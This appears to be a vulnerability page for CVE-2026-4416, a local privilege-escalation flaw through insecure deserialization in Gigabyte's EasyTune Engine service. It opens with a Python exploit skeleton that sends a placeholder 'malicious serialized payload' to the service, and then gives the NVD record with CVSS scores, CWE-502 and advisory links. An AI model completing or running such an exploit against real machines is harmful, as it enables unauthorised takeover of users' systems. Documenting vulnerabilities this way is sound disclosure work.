CVE-2026-4416

import socket # Target configuration for the vulnerable service TARGET_HOST = '127.0.0.1' TARGET_PORT = 12345 # Replace with actual EasyTune Engine port # Malicious serialized payload (Placeholder for actual gadget chain) # This payload is designed to trigger insecure deserialization payload = b'\x00\x01\x02...' def send_exploit(): try: # Connect to the EasyTune Engine service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Send the malicious payload # The service deserializes this data without proper validation s.send(payload) print("[+] Payload sent successfully. Check for privilege escalation.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-4416", "sourceIdentifier": "[email protected]", "published": "2026-03-30T08:16:18.360", "lastModified": "2026-04-08T19:23:47.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Performance Library component of Gigabyte Control Center has an Insecure Deserialization vulnerability. Authenticated local attackers can send a malicious serialized payload to the EasyTune Engine service, resulting in privilege escalation."}, {"lang": "es", "value": "El componente Performance Library de Gigabyte Control Center tiene una vulnerabilidad de deserialización insegura. Atacantes locales autenticados pueden enviar una carga útil serializada maliciosa al servicio EasyTune Engine, lo que resulta en escalada de privilegios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gigabyte:performance_library:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.12.31.01", "matchCriteriaId": "90A2231A-3F0C-42F6-B9F9-8B62715C77B3"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10806-fbc4a-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10805-a53f6-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}